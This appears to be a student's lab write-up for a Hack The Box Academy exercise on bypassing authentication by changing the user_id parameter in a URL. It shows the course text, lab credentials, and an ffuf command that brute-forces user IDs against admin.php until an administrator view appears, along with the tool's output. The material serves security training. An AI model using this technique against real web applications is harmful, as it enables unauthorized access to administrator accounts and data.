Authentication Bypass via Parameter Modification

An authentication implementation can be flawed if it depends on the presence or value of an HTTP parameter, introducing authentication vulnerabilities. As in the previous section, such vulnerabilities might lead to authentication and authorization bypasses, allowing for privilege escalation.

This type of vulnerability is closely related to authorization issues such as Insecure Direct Object Reference (IDOR) vulnerabilities, which are covered in more detail in the Web Attacks module.

Parameter Modification

Let us take a look at our target web application. This time, we are provided with credentials for the user htb-stdnt. After logging in, we are redirected to /admin.php?user_id=183:

HTTP request and response. Request: POST to /index.php with username "htb-stdnt" and password "AcademyStudent%21". Response: 302 Found, redirects to /admin.php?user_id=183. Server: Apache/2.4.59 (Debian).

In our web browser, we can see that we seem to be lacking privileges, as we can only see a part of the available data:

Dashboard showing statistics: 283,000 monthly visitors, 105 blog posts, 1,200 comments, 350 users. Error message: "Could not load admin data. Please check your privileges." Navigation includes Dashboard, Posts, Categories, Comments, Users.

To investigate the purpose of the user_id parameter, let us remove it from our request to /admin.php. When doing so, we are redirected back to the login screen at /index.php, even though our session provided in the PHPSESSID cookie is still valid:

HTTP request and response. Request: GET /admin.php with PHPSESSID cookie. Response: 302 Found, redirects to index.php. Server: Apache/2.4.59 (Debian).

Thus, we can assume that the parameter user_id is related to authentication. We can bypass authentication entirely by accessing the URL /admin.php?user_id=183 directly:

HTTP request and response. Request: GET /admin.php?user_id=183. Response: 200 OK. Server: Apache/2.4.59 (Debian). Content-Type: text/html; charset=UTF-8.

Based on the parameter name user_id, we can infer that the parameter specifies the ID of the user accessing the page. If we can guess or brute-force the user ID of an administrator, we might be able to access the page with administrative privileges, thus revealing the admin information. We can use the techniques discussed in the Brute-Force Attacks sections to obtain an administrator ID. Afterward, we can obtain administrative privileges by specifying the admin's user ID in the user_id parameter.

Final Remark

Note that many more advanced vulnerabilities can also lead to an authentication bypass, which we have not covered in this module but are covered by more advanced modules. For instance, type juggling leading to an authentication bypass is covered in the Whitebox Attacks module, how different injection vulnerabilities can lead to an authentication bypass is covered in the Injection Attacks and SQL Injection Fundamentals modules, and logic bugs that can lead to an authentication bypass are covered in the Parameter Logic Bugs module.


Exercise

TARGET: 154.57.164.83:32696

Authenticate to target with username "htb-stdnt" and password "AcademyStudent!"

Challenge 1

Apply what you learned in this section to bypass authentication to obtain the flag.

Discovery

The first thing we need to do is to see how an authenticated normal user session looks like and what the response consists of:
image-24.png
2026-04-08_15-56-25-1.png

The request and response looks as follows (through Burp proxy):
image-25.png
The response more closely:

HTTP/1.1 302 Found
Date: Wed, 08 Apr 2026 20:56:17 GMT
Server: Apache/2.4.59 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /admin.php?user_id=183
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

But we want the admin view, so lets see what happens when we just visit /admin.php directly like we were doing in Authentication Bypass via Direct Access:
2026-04-08_16-04-24.png

Exploitation

The parameter specifies the ID of the user accessing the page. If we can guess or brute-force the user ID of an administrator, we might be able to access the page with administrative privileges, thus revealing the admin information. We can use the techniques discussed in the Brute-Force Attacks sections to obtain an administrator ID. Afterward, we can obtain administrative privileges by specifying the admin's user ID in the user_id parameter.

Since we are not exactly given ID number boundaries other than that there are 350 users, I will just look at the user_id=183 and say that the user IDs are of maximum 3-digit numbers. The first step is to build a wordlist with all the possibilities for a 3 digit number:

┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ seq 0 999 > user_ids.txt

Afterward, we can use the following command to brute-force the correct userd_id that will allow us to see admin data:

┌──(macc㉿kaliLab)-[~/htb/broken_authentication]
└─$ ffuf -w user_ids.txt -u http://154.57.164.83:32696/admin.php?user_id=FUZZ -fr "Could not load admin data"

Output:

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://154.57.164.83:32696/admin.php?user_id=FUZZ
 :: Wordlist         : FUZZ: /home/macc/htb/broken_authentication/user_ids.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Could not load admin data
________________________________________________

0                       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 126ms]
372                     [Status: 200, Size: 14465, Words: 4165, Lines: 429, Duration: 120ms]
:: Progress: [1000/1000] :: Job [1/1] :: 269 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

Lets verify in our browser which one of those two user_ids would let us see admin info. Trying user_id=372 (the most probable one since it returns a 200 response):

http://154.57.164.83:32696/admin.php?user_id=372

2026-04-08_16-24-11.png

flag: HTB